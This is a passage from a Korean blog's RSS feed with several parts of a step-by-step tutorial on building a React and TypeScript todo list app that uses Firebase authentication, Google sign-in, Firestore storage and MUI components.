<p>코드가 복잡해지는 것을 방지하기 위해 <code>todo input</code> 은 따로 컴포넌트를 만들어 관리하겠습니다. </p>
</br>

<h4 id="srccomponentstodoformtsx">src/Components/todoForm.tsx</h4>
<pre><code class="language-typescript">import React, { ChangeEvent, useState } from &quot;react&quot;;
import moment from &quot;moment&quot;;

// FIREBASE
import { fireStoreJob } from &quot;../initFirebase&quot;;
import { collection, addDoc } from &quot;firebase/firestore&quot;;

// INTERFACE
import { TodoInputInterface } from &quot;../interfaces/todo.interface&quot;;
import { UserInterface } from &quot;../interfaces/user.interface&quot;;
import { Button, Input } from &quot;@mui/material&quot;;

// CSS
import { TodoFormWrap } from &quot;../styles/todoForm.styled&quot;;

type TodoFormType = {
  userInfo: UserInterface;
};

export const TodoForm = ({ userInfo }: TodoFormType) =&gt; {
  const firestore_path = &quot;tasks&quot;;
  const [inputs, setInputs] = useState&lt;TodoInputInterface&gt;({
    task: &quot;&quot;,
    date: &quot;&quot;,
  });

  const { task, date } = inputs;

  const onChange = (e: ChangeEvent&lt;HTMLInputElement&gt;) =&gt; {
    const { name, value } = e.currentTarget;
    setInputs({ ...inputs, [name]: value });
  };

  // NOTE - 1
  const onClick = async (e: any) =&gt; {
    if (task === &quot;&quot;) {
      alert(&quot;Please write task&quot;);
      return false;
    }

    await addDoc(collection(fireStoreJob, firestore_path), {
      uid: userInfo.uid,
      task: task,
      status: &quot;READY&quot;,
      date: date,
      date_created: moment().utc().format(),
    });
    setInputs({ task: &quot;&quot;, date: &quot;&quot; });
  };

  return (
    &lt;TodoFormWrap&gt;
      &lt;div className={&#39;task-title&#39;}&gt;
        Enter Your Task
      &lt;/div&gt;
      &lt;div className={&#39;task-input-box&#39;}&gt;
        &lt;div&gt;
          &lt;Input
              onChange={onChange}
              value={task}
              name={&quot;task&quot;}
              placeholder={&quot;What is your task&quot;}
              type={&quot;text&quot;}
          /&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;Input
              onChange={onChange}
              value={date}
              name={&quot;date&quot;}
              placeholder={&quot;Dead Line&quot;}
              type={&quot;date&quot;}
          /&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;Button onClick={onClick} type={&quot;button&quot;} variant={&quot;contained&quot;}&gt;
            Submit
          &lt;/Button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/TodoFormWrap&gt;
  );
};</code></pre>
<blockquote>
<p>💡 NOTE - 1 
<code>Submit</code> 버튼을 클릭하면 자동으로 firestore에 doc을 만듭니다. </p>
</blockquote>
<p>📌 <a href="https://firebase.google.com/docs/firestore/manage-data/add-data#add_a_document">Firebase 공식문서 - 문서추가</a></p>
</br>


<p>이 컴포넌트를 main 페이지에 import 하도록 하겠습니다. </p>
<h4 id="srcpagesmaintsx">src/pages/main.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;

// COMPONENT
import { TodoForm } from &quot;../Components/todoForm&quot;;

// CSS
import { MainWrapper } from &quot;../styles/main.styled&quot;;


export const Main = ({ userInfo }: any) =&gt; {
  return (
    &lt;MainWrapper&gt;
      &lt;div className={&quot;main-box&quot;}&gt;
        &lt;div className={&quot;doc-title&quot;}&gt;
          &lt;div&gt;
            &lt;h1&gt;TODO LIST&lt;/h1&gt;
          &lt;/div&gt;
          &lt;div&gt;
            // NOTE - 2
            &lt;span&gt;Hello 
              &lt;strong&gt;{userInfo.displayName&lt;/strong&gt;
            &lt;/span&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div className={&#39;todo-box&#39;}&gt;

          // NOTE - 3    
          &lt;TodoForm userInfo={userInfo} /&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/MainWrapper&gt;
  );
};</code></pre>
<blockquote>
<p>💡 NOTE - 2 
<code>AppRouter</code> 에서 받은 <span style="color:blue"><code>userInfo</code></span> 을 사용하여 유저의 <code>displayName</code>을 출력해줍니다. </p>
</blockquote>
<blockquote>
<p>💡 NOTE - 3 
TodoForm 컴포넌트를 import 하고  <span style="color:blue"><code>userInfo</code></span> 값을 넘겨 줍니다.</p>
</blockquote>
</br>

<h3 id="완성-페이지">완성 페이지</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/99634e77-8c8a-4392-8fa8-53ddae885829/image.png" alt=""></p>
<p>이제 task 와 date를 입력해보겠습니다. </p>
</br>


<h2 id="4-firestore-확인">4. Firestore 확인</h2>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/490fcfdd-a618-4b64-b8ac-a68e76d6799e/image.png" alt=""></p>
<p>Firestore에 데이터가 제대로 입력된 것을 확인할 수 있습니다.</p>
</br>

<hr>
</br>

<p>다음 시간에는 방금 입력한 데이터를 가져와 todo list를 만들어보도록 하겠습니다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] TODO LIST 만들기 (4) - 구글 계정으로 로그인 하기]]></title>
            <link>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-4-%EA%B5%AC%EA%B8%80-%EA%B3%84%EC%A0%95%EC%9C%BC%EB%A1%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-4-%EA%B5%AC%EA%B8%80-%EA%B3%84%EC%A0%95%EC%9C%BC%EB%A1%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%ED%95%98%EA%B8%B0</guid>
            <pubDate>Mon, 21 Nov 2022 07:33:11 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>이제 로그인의 마지막 파트 구글 계정으로 로그인을 해보겠습니다. </p>
</br>

<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>firesbase의 <code>GoogleAuthProvider</code> 을 사용하여 구글 계정으로 로그인 한다.</li>
</ul>
</blockquote>
<ul>
<li>구글계정으로 로그인 한 유저 정보를 <code>user</code> collection에 저장한다. </li>
<li>로그인 후 메인 페이지로 이동한다. </li>
</ul>
</br>

<h2 id="3-로그인-페이지-수정">3. 로그인 페이지 수정</h2>
<h4 id="srcpageslogintsx">src/pages/login.tsx</h4>
<blockquote>
<p>추가한 부분만 작성하겠습니다. </p>
</blockquote>
<pre><code class="language-typescript">
...

// FIREBASE
import { firebaseAuth, fireStoreJob } from &quot;../initFirebase&quot;;
import {
  signInWithEmailAndPassword,
  signInWithPopup,
  GoogleAuthProvider,
} from &quot;firebase/auth&quot;;
import { collection, addDoc } from &quot;firebase/firestore&quot;;

// CSS
import GoogleIcon from &quot;@mui/icons-material/Google&quot;;


export const Login = () =&gt; {
 // ... 기존 코드 
    const onClickGoogle = async (e: any) =&gt; {
    const provider = new GoogleAuthProvider();
    await signInWithPopup(firebaseAuth, provider)
      .then(async (result) =&gt; {
        const credential = GoogleAuthProvider.credentialFromResult(result);
        const token = credential?.accessToken;
        const user = result.user;

        await addDoc(collection(fireStoreJob, firestore_path), {
          uid: user.uid,
          displayName:user.displayName,
          date_created: moment().utc().format(),
        });
        navigate(&quot;/&quot;);
      })
      .catch((error) =&gt; {
        const errorCode = error.code;
        const errorMessage = error.message;
        console.warn(`${errorCode - errorMessage}`);
      });
  };
}

  return (
    &lt;UserForm&gt;
      &lt;div className={&quot;doc-title&quot;}&gt;
        &lt;span&gt;Login&lt;/span&gt;
      &lt;/div&gt;
      &lt;article className={&quot;user-form-article&quot;}&gt;
        &lt;div className={&quot;user-form-wrap&quot;}&gt;
          &lt;div className={&quot;user-form&quot;}&gt;

            &lt;!--form--&gt;

            &lt;div className={&quot;google-btn&quot;}&gt;
              &lt;Button
                onClick={onClickGoogle}
                name={&quot;google&quot;}
                variant={&quot;outlined&quot;}
                type={&quot;button&quot;}
              &gt;
                &lt;GoogleIcon style={{ marginRight: &quot;5px&quot; }} /&gt;
                Login with Google account
              &lt;/Button&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/article&gt;
    &lt;/UserForm&gt;
  );

</code></pre>
</br>

<p>📌 <a href="https://firebase.google.com/docs/auth/web/google-signin">Firebase 공식문서 - Google을 사용하여 인증</a></p>
</br>

<hr>
<p>드디어 계정 생성 부분을 완료했습니다. 
다음 시간부터는 TODO LIST를 만들어보도록 하겠습니다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] TODO LIST 만들기 (3) - Firebase (signInWithEmailAndPassword)로 로그인 하기]]></title>
            <link>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-3-Firebase-signInWithEmailAndPassword%EB%A1%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-3-Firebase-signInWithEmailAndPassword%EB%A1%9C-%EB%A1%9C%EA%B7%B8%EC%9D%B8-%ED%95%98%EA%B8%B0</guid>
            <pubDate>Mon, 21 Nov 2022 06:41:28 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>저번 포스팅에서 이메일과 비밀번호를 사용하여 계정을 만들어보았습니다. 이번 시간에는 만든 이메일과 비밀번호를 사용하여 로그인을 해보겠습니다. </p>
</br>


<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>firebase <code>signInWithEmailAndPassword</code> 을 사용하여 로그인을 한다. </li>
</ul>
</blockquote>
<ul>
<li>로그인 정보를 가져와서 전역에서 사용할 수 있도록 한다. </li>
</ul>
</br>


<h2 id="3-로그인">3. 로그인</h2>
<h3 id="31-로그인-폼-만들기">3.1 로그인 폼 만들기</h3>
<h4 id="srcpageslogintsx">src/pages/login.tsx</h4>
<pre><code class="language-typescript">import React, { ChangeEvent, useState } from &quot;react&quot;;
import { Link, useNavigate} from &quot;react-router-dom&quot;;

// INTERFACE
import { UserInputInterface } from &quot;../interfaces/user.interface&quot;;

// CSS
import { UserForm } from &quot;../styles/userForm.styled&quot;;
import { Button, TextField } from &quot;@mui/material&quot;;


export const Login = () =&gt; {
  const [inputs, setInputs] = useState&lt;UserInputInterface&gt;({
    email: &quot;&quot;,
    password: &quot;&quot;,
  });

  const { email, password } = inputs;

  const onChange = (e: ChangeEvent&lt;HTMLInputElement&gt;) =&gt; {
    const { name, value } = e.currentTarget;
    setInputs({ ...inputs, [name]: value });
  };

  return (
    &lt;UserForm&gt;
      &lt;div className={&quot;doc-title&quot;}&gt;
        &lt;span&gt;Login&lt;/span&gt;
      &lt;/div&gt;
      &lt;article className={&quot;user-form-article&quot;}&gt;
        &lt;div className={&quot;user-form-wrap&quot;}&gt;
          &lt;div className={&quot;user-form&quot;}&gt;
            &lt;form onSubmit={onSubmit}&gt;
              &lt;TextField
                onChange={onChange}
                value={email}
                label=&quot;email&quot;
                variant=&quot;outlined&quot;
                name={&quot;email&quot;}
                type={&quot;email&quot;}
                required
              /&gt;
              &lt;TextField
                onChange={onChange}
                value={password}
                label=&quot;password&quot;
                variant=&quot;outlined&quot;
                name={&quot;password&quot;}
                type={&quot;password&quot;}
                required
              /&gt;
              &lt;Button
                variant={&quot;contained&quot;}
                type={&quot;submit&quot;}
                disabled={
                  email.length !== 0 &amp;&amp; password.length !== 0 ? false : true
                }
              &gt;
                Log In
              &lt;/Button&gt;
            &lt;/form&gt;
          &lt;/div&gt;
          &lt;div className={&quot;cont-link&quot;}&gt;
            &lt;Link
              to={&quot;/signup&quot;}
              style={{ textDecoration: &quot;none&quot;, color: &quot;inherit&quot; }}
            &gt;
              Not a member yet?
            &lt;/Link&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/article&gt;
    &lt;/UserForm&gt;
  );
};</code></pre>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/22a5f3e8-79cb-404e-be82-94b2ffaceeed/image.png" alt=""></p>
<blockquote>
<p>💡 <code>onChange</code> 함수까지는 회원가입 절차와 동일하기 때문에 그대로 사용하겠습니다. 회원가입 때와 마찬가지로 모든 input에 값이 있을 때 버튼이 활성화 됩니다. </p>
</blockquote>
</br>

<h3 id="32-onsubmit">3.2 onSubmit</h3>
<p>이제 본격적으로 로그인 폼을 submit 해보겠습니다. 
폼을 제출할 때 firebase의 <code>signInWithEmailAndPassword</code> 을 사용하여 유저 정보를 가져오겠습니다. 유저 정보를 성공적으로 가져왔다면 &#39;/&#39;
경로로 이동하도록 하겠습니다. </p>
</br>

<blockquote>
<p>추가 부분만 작성하겠습니다. </p>
</blockquote>
<pre><code class="language-typescript">// FIREBASE
import { firebaseAuth } from &quot;../initFirebase&quot;;
import { signInWithEmailAndPassword } from &quot;firebase/auth&quot;;

export const Login = () =&gt; {

// ...기존 내용 

  const onSubmit = async (e: ChangeEvent&lt;HTMLFormElement&gt;) =&gt; {
    e.preventDefault();
    await signInWithEmailAndPassword(firebaseAuth, email, password)
      .then((userCredential) =&gt; {
        const user = userCredential.user;
        console.log(user);
        navigate(&quot;/&quot;);
      })
      .catch((error) =&gt; {
        const errorCode = error.code;
        const errorMessage = error.message;
        console.warn(`${errorCode} = ${errorMessage}`);
      });
  };

   // .. return 부분
}

</code></pre>
</br>

<p>📌 [Firebase 공식 문서 - 이메일 주소와 비밀번호로 사용자 로그인] 
(<a href="https://firebase.google.com/docs/auth/web/password-auth">https://firebase.google.com/docs/auth/web/password-auth</a>)</p>
</br>


<hr>
</br>

<p>이제 이메일 / 비밀번호를 사용하여 로그인을 할 수 있습니다. 로그인 한 회원의 정보를 앱 전반적으로 사용하면 더 편리하게 사용할 수 있을 것 같습니다. 지금부터 앱 전반적으로 유저 정보를 사용하는 방법에 대해 알아보겠습니다. </p>
</br>


<h2 id="4-로그인-한-유저-정보-받아오기">4. 로그인 한 유저 정보 받아오기</h2>
<h3 id="41-apptsx-수정">4.1 App.tsx 수정</h3>
<p>앱이 실행할 때 Firebase의 <code>onAuthStateChanged</code>을 사용하여 현재 로그인한 유저의 <code>uid</code> 값을 가져옵니다. 그 다음 Firestore에 저장한 <code>user</code> 정보를 가져와서 <span style='color:#4169e1'><code>userInfo</code></span> 변수에 넣어두겠습니다. 앞으로 이 <span style='color:#4169e1'><code>userInfo</code></span>가 앱 전반적으로 사용하게 될 유저의 정보입니다. </p>
</br>

<h4 id="srcapptsx">src/App.tsx</h4>
<pre><code class="language-typescript">import React, { useEffect, useState } from &quot;react&quot;;

// FIREBASE
import { firebaseAuth, fireStoreJob } from &quot;./initFirebase&quot;;
import { onAuthStateChanged } from &quot;firebase/auth&quot;;
import { collection, query, where, getDocs } from &quot;firebase/firestore&quot;;

// COMPONENTS
import { AppRouter } from &quot;./routes/Router&quot;;

import &quot;./styles/App.css&quot;;
import { UserInterface } from &quot;./interfaces/user.interface&quot;;

const App = () =&gt; {
  const [init, setInit] = useState&lt;boolean&gt;(false);
  const [isLogin, setIsLogin] = useState&lt;boolean&gt;(false);
  const [userInfo, setUserInfo] = useState&lt;UserInterface | null&gt;(null);
  useEffect(() =&gt; {
    onAuthStateChanged(firebaseAuth, async (user) =&gt; {
      if (user) {
        // &#39;users&#39; collection에서 유저 정보 가져오기
        const q = query(
          collection(fireStoreJob, &quot;users&quot;),
          where(&quot;uid&quot;, &quot;==&quot;, user.uid)
        );
        const querySnapshot = await getDocs(q);
        querySnapshot.forEach((doc) =&gt; {
          const data = doc.data();
          // 유저 정보 저장
          setUserInfo({
            uid: data.uid,
            email: data.email,
            displayName: data.displayName,
            date_created: data.date_created,
          });
        });
        setIsLogin(true);
      } else {
        setIsLogin(false);
      }
      setInit(true);
    });
  }, []);

  return (
    &lt;&gt;
      {&quot; &quot;}
      {init ? (
        &lt;AppRouter isLogin={isLogin} userInfo={userInfo} /&gt;
      ) : (
        &quot;Initializing...&quot;
      )}
    &lt;/&gt;
  );
};

export default App;</code></pre>
</br>

<p>앱이 실행될 때 로그인한 유저가 있는 지 확인한 후 <code>AppRouter</code>에 <code>isLogin</code> 값과 <span style='color:#4169e1'><code>userInfo</code></span>를 전달하겠습니다. </p>
</br>

<p>📌 [Firebase 공식 문서 - 현재 로그인한 사용자 가져오기] 
(<a href="https://firebase.google.com/docs/auth/web/manage-users?hl=ko">https://firebase.google.com/docs/auth/web/manage-users?hl=ko</a>)</p>
</br>


<h2 id="5-라우터-수정">5. 라우터 수정</h2>
<h4 id="srcroutesroutertsx">src/routes/Router.tsx</h4>
<p>로그인 여부에 따라 다음과 같이 설정하겠습니다.</p>
<blockquote>
<p>로그인 한 경우 : 메인 페이지로 이동 (유저 정보 전달)
로그인 하지 않은 경우 : 로그인 페이지로 이동</p>
</blockquote>
</br>

<pre><code class="language-typescript">import React from &quot;react&quot;;
import {BrowserRouter, Routes, Route} from &quot;react-router-dom&quot;;

// INTERFACE
import {UserInterface} from &quot;../interfaces/user.interface&quot;;

// COMPONENTS
import {SignUp} from &quot;../pages/signUp&quot;;
import {Login} from &quot;../pages/login&quot;;
import {Main} from &quot;../pages/main&quot;;

type AppRouterType = {
    isLogin: boolean;
    userInfo: UserInterface | null;
};

export const AppRouter = ({isLogin, userInfo}: AppRouterType) =&gt; {
    return (
        &lt;BrowserRouter&gt;
            &lt;Routes&gt;
                {isLogin ? (
                    &lt;&gt;
                        &lt;Route path=&quot;/&quot; element={&lt;Main userInfo={userInfo}/&gt;}&gt;&lt;/Route&gt;
                    &lt;/&gt;
                ) : (
                    &lt;&gt;
                        &lt;Route path=&quot;/&quot; element={&lt;Login/&gt;}&gt;&lt;/Route&gt;
                        &lt;Route path=&quot;/signup&quot; element={&lt;SignUp/&gt;}&gt;&lt;/Route&gt;

                    &lt;/&gt;
                )}
            &lt;/Routes&gt;
        &lt;/BrowserRouter&gt;
    );
};</code></pre>
</br>

<p>로그인 여부에 따라 각 pages에 다른 값을 전달하도록 했습니다. 이제 로그인 한 유저의 정보를 main에서도 받을 수 있습니다. main에서 어떻게 사용할 지는 다음 포스팅에서 자세히 작성하도록 하겠습니다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] TODO LIST 만들기 (2) - Firebase로 회원가입 하기]]></title>
            <link>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-2-Firebase%EB%A1%9C-%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85-%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-2-Firebase%EB%A1%9C-%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85-%ED%95%98%EA%B8%B0</guid>
            <pubDate>Sun, 20 Nov 2022 13:07:51 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기전">1. 들어가기전</h2>
<p>저번 포스팅에서 이번 프로젝트에서 사용할 firebase 사용을 위한 설정을 했습니다. 
이번에는 firebase로 회원가입을 해보도록 하겠습니다. </p>
</br>

<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>firebase 의 <code>createUserWithEmailAndPassword</code> 을 사용하여 계정을 생성 한다.</li>
</ul>
</blockquote>
<ul>
<li>생성된 계정을 <code>firestore</code> 에 저장한다.</li>
<li>회원가입 후 로그인 페이지로 이동한다. </li>
<li><code>MUI</code>을 사용하여 UI를 만든다. </li>
</ul>
</br>

<h2 id="3-필요한-패키지-설치">3. 필요한 패키지 설치</h2>
<pre><code>$ npm install react-router react-router-dom 
$ npm install -D @types/react-router @types/react-router-dom
$ npm install --save styled-components
$ npm install @mui/material @emotion/react @emotion/styled
$ npm install @mui/icons-material</code></pre></br>

<h2 id="4-파일-생성">4. 파일 생성</h2>
<p>먼저 회원가입과 로그인 페이지를 만들어 보겠습니다. </p>
<h3 id="41-signuptsx-파일-생성">4.1 signUp.tsx 파일 생성</h3>
<h4 id="srcpagessignuptsx">src/pages/signUp.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;

export const SignUp = () =&gt; {
    return (
        &lt;&gt;
            &lt;h1&gt;Sigin Up Page&lt;/h1&gt;
        &lt;/&gt;
    )
}</code></pre>
</br>


<h3 id="42-logintsx-파일-생성">4.2 login.tsx 파일 생성</h3>
<h4 id="srcpageslogintsx">src/pages/login.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;

export const Login = () =&gt; {
    return (
        &lt;&gt;
            &lt;h1&gt;Login Page&lt;/h1&gt;
        &lt;/&gt;
    )
}</code></pre>
<h3 id="43-userform-styled-파일-생성">4.3 userForm styled 파일 생성</h3>
<h4 id="srcstylesuserformstyledts">src/styles/userForm.styled.ts</h4>
<pre><code class="language-typescript">import styled from &quot;styled-components&quot;;

export const UserForm = styled.div``;</code></pre>
</br>


<h2 id="5-라우터-설정">5. 라우터 설정</h2>
<p><code>http://localhost:3000/signup</code> 에 접속했을 때 회원가입 페이지가 나올 수 있도록 라우터를 설정하도록 하겠습니다. </p>
<h4 id="srcroutesroutertsx">src/routes/Router.tsx</h4>
<pre><code class="language-javascript">import React from &quot;react&quot;;
import {BrowserRouter, Routes, Route} from &quot;react-router-dom&quot;;

// COMPONENTS
import {SignUp} from &quot;../pages/signUp&quot;;
import {Login} from &quot;../pages/login&quot;

export const AppRouter = () =&gt; {
    return (
        &lt;BrowserRouter&gt;
            &lt;Routes&gt;
                &lt;Route path=&#39;/signup&#39; element={&lt;SignUp/&gt;}&gt;&lt;/Route&gt;
                &lt;Route path=&#39;/&#39; element={&lt;Login/&gt;}&gt;&lt;/Route&gt;
            &lt;/Routes&gt;
        &lt;/BrowserRouter&gt;
    )
}</code></pre>
<blockquote>
<p>💡 회원가입 후 바로 로그인 페이지로 이동할 예정이라 로그인 페이지에 접속할 수 있도록 미리 작성했습니다. </p>
</blockquote>
</br>

<h2 id="6-회원가입">6. 회원가입</h2>
<h3 id="61-interface-설정">6.1 Interface 설정</h3>
<h4 id="srcinterfacesuserinterfacets">src/interfaces/user.interface.ts</h4>
<pre><code class="language-typescript">export interface UserInterface {
    uid: string,
    email: string,
    displayName: string,
    date_created: string,
}

export interface UserInputInterface {
    email: string,
    displayName?: string,
    password: string
}</code></pre>
</br>


<h3 id="62-회원가입-form-만들기">6.2 회원가입 form 만들기</h3>
<h4 id="srcpagessignuptsx-1">src/pages/signUp.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;

// INTERFACE
import {UserInputInterface} from &quot;../interfaces/user.interface&quot;;

// CSS
import {UserForm} from &quot;../styles/userForm.styled&quot;;
import {Button, TextField} from &quot;@mui/material&quot;;


export const SignUp = () =&gt; {
    return &lt;UserForm&gt;
        &lt;div className={&#39;doc-title&#39;}&gt;
            &lt;span&gt;TODO LIST&lt;/span&gt;
        &lt;/div&gt;
        &lt;article className={&#39;user-form-article&#39;}&gt;
            &lt;div className={&#39;user-form-wrap&#39;}&gt;
                &lt;div className={&#39;user-form&#39;}&gt;
                    &lt;form onSubmit={onSubmit}&gt;
                        &lt;TextField label=&quot;email&quot; variant=&quot;outlined&quot;
                                   name={&#39;email&#39;} type={&#39;email&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;displayName&quot; variant=&quot;outlined&quot;
                                    name={&#39;displayName&#39;} type={&#39;text&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;password&quot; variant=&quot;outlined&quot;
                                    name={&#39;password&#39;} type={&#39;password&#39;}
                                   required/&gt;
                        &lt;Button variant={&#39;contained&#39;} type={&quot;submit&quot;}                             disabled={true}&gt;
                            Sign Up
                        &lt;/Button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/article&gt;
    &lt;/UserForm&gt;
}</code></pre>
</br>

<h3 id="63-userform-styled-설정">6.3 userForm styled 설정</h3>
<h4 id="srcstylesuserformstyledts-1">src/styles/userForm.styled.ts</h4>
<pre><code class="language-typescript">import { styled } from &quot;@mui/material&quot;;

export const UserForm = styled(&quot;div&quot;)`
  .doc-title {
    padding-top: 50px;
    display: block;
    width: 580px;
    height: 27px;
    margin: 0 auto;
    background-size: 100px 80px;
    font-size: 19px;
    line-height: 27px;
    text-align: center;
    vertical-align: top;
  }

  .user-form-article {
    box-sizing: border-box;
    width: 580px;
    height: 100%;
    margin: 40px auto 42px;
    padding: 0 69px;
    border: 1px solid rgba(0, 0, 0, .12);
    font-size: 12px;
  }

  .user-form-article &gt; .user-form-wrap {
    word-wrap: break-word;
    position: relative;
    padding: 10px 0px
  }

  .user-form {
    padding: 50px;
  }

  .user-form &gt; form {
    display: flex;
    flex-direction: column;
  }

  .user-form &gt; form div {
    margin : 8px 0px;
  }

  .user-form &gt; form button {
    margin-top: 10px;
    padding: 15px;
    margin-bottom: 20px;
  }
`;</code></pre>
</br>

<h4 id="결과">결과</h4>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/9db994ce-8fc3-4078-b00c-5482a56fd780/image.png" alt=""></p>
<p>회원가입 폼을 다 만들었습니다. 지금부터 기능을 하나씩 붙여보도록 하겠습니다. </p>
</br>

<h3 id="64-onchange">6.4 onChange</h3>
<p>input에 값이 입력될 때마다 handle 하는 함수 <code>onChange</code> 함수를 만들어보겠습니다. </p>
<p>(+) Button은 모든 input에 값이 있을 때 활성화하도록 했습니다. </p>
</br>


<pre><code class="language-typescript">import React, {ChangeEvent, useState} from &quot;react&quot;;

// INTERFACE
import {UserInputInterface} from &quot;../interfaces/user.interface&quot;;

// CSS
import {UserForm} from &quot;../styles/userForm.styled&quot;;
import {Button, TextField} from &quot;@mui/material&quot;;


export const SignUp = () =&gt; {
    const [inputs, setInputs] = useState&lt;UserInputInterface&gt;({
        email: &quot;&quot;,
        displayName: &quot;&quot;,
        password: &quot;&quot;
    });

    const {email, displayName, password} = inputs;

    const onChange = (e: ChangeEvent&lt;HTMLInputElement&gt;): void =&gt; {
        const {name, value} = e.currentTarget;
        setInputs({...inputs, [name]: value});
    }

    return &lt;UserForm&gt;
        &lt;div className={&#39;doc-title&#39;}&gt;
            &lt;span&gt;TODO LIST&lt;/span&gt;
        &lt;/div&gt;
        &lt;article className={&#39;user-form-article&#39;}&gt;
            &lt;div className={&#39;user-form-wrap&#39;}&gt;
                &lt;div className={&#39;user-form&#39;}&gt;
                    &lt;form&gt;
                        &lt;TextField label=&quot;email&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={email} name={&#39;email&#39;} type={&#39;email&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;displayName&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={displayName} name={&#39;displayName&#39;} type={&#39;text&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;password&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={password} name={&#39;password&#39;} type={&#39;password&#39;}
                                   required/&gt;
                        &lt;Button variant={&#39;contained&#39;} type={&quot;submit&quot;}
                                disabled={email.length !== 0 &amp;&amp; displayName?.length !== 0 &amp;&amp; password.length !== 0 ? false : true}&gt;
                            Sign Up
                        &lt;/Button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/article&gt;
    &lt;/UserForm&gt;
}</code></pre>
</br>

<h3 id="65-onsubmit">6.5 onSubmit</h3>
<p>form을 제출을 handle 하는 <code>onSubmit</code> 함수입니다.
<code>onSubmit</code> 를 할 때 firebase auth 와 firestore에 데이터를 저장합니다. </p>
<pre><code class="language-typescript">import React, {ChangeEvent, useState} from &quot;react&quot;;
import {useNavigate} from &#39;react-router-dom&#39;
import moment from &quot;moment&quot;;

// FIREBASE
import {firebaseAuth, fireStoreJob} from &quot;../initFirebase&quot;;
import {createUserWithEmailAndPassword} from &quot;firebase/auth&quot;;
import {collection, addDoc} from &quot;firebase/firestore&quot;;

// INTERFACE
import {UserInputInterface} from &quot;../interfaces/user.interface&quot;;

// CSS
import {UserForm} from &quot;../styles/userForm.styled&quot;;
import {Button, TextField} from &quot;@mui/material&quot;;


export const SignUp = () =&gt; {
    const firestore_path = &#39;users&#39;; // firebase collection 이름
    const navigate = useNavigate();
    const onSubmit = async (e: ChangeEvent&lt;HTMLFormElement&gt;) =&gt; {
        e.preventDefault();
        await createUserWithEmailAndPassword(firebaseAuth, email, password)
            .then(async (userCredential) =&gt; {
                const user = userCredential.user;
                console.log(user)
          // 계정 생성을 하고 나면 firestore에 데이터를 저장합니다. 
                await addDoc(collection(fireStoreJob, firestore_path), {
                    uid: user.uid,
                    ...inputs,
                    date_created: moment().utc().format()
                })
          // 모든 과정이 끝나면 login 페이지로 이동합니다. 
                navigate(&quot;/&quot;);

            })
            .catch((error) =&gt; {
                const errorCode = error.code;
                const errorMessage = error.message;
                console.warn(`${errorCode} - ${errorMessage}`)
            })
    }

    return &lt;UserForm&gt;
        &lt;div className={&#39;doc-title&#39;}&gt;
            &lt;span&gt;TODO LIST&lt;/span&gt;
        &lt;/div&gt;
        &lt;article className={&#39;user-form-article&#39;}&gt;
            &lt;div className={&#39;user-form-wrap&#39;}&gt;
                &lt;div className={&#39;user-form&#39;}&gt;
                    &lt;form onSubmit={onSubmit}&gt;
                        &lt;TextField label=&quot;email&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={email} name={&#39;email&#39;} type={&#39;email&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;displayName&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={displayName} name={&#39;displayName&#39;} type={&#39;text&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;password&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={password} name={&#39;password&#39;} type={&#39;password&#39;}
                                   required/&gt;
                        &lt;Button variant={&#39;contained&#39;} type={&quot;submit&quot;}
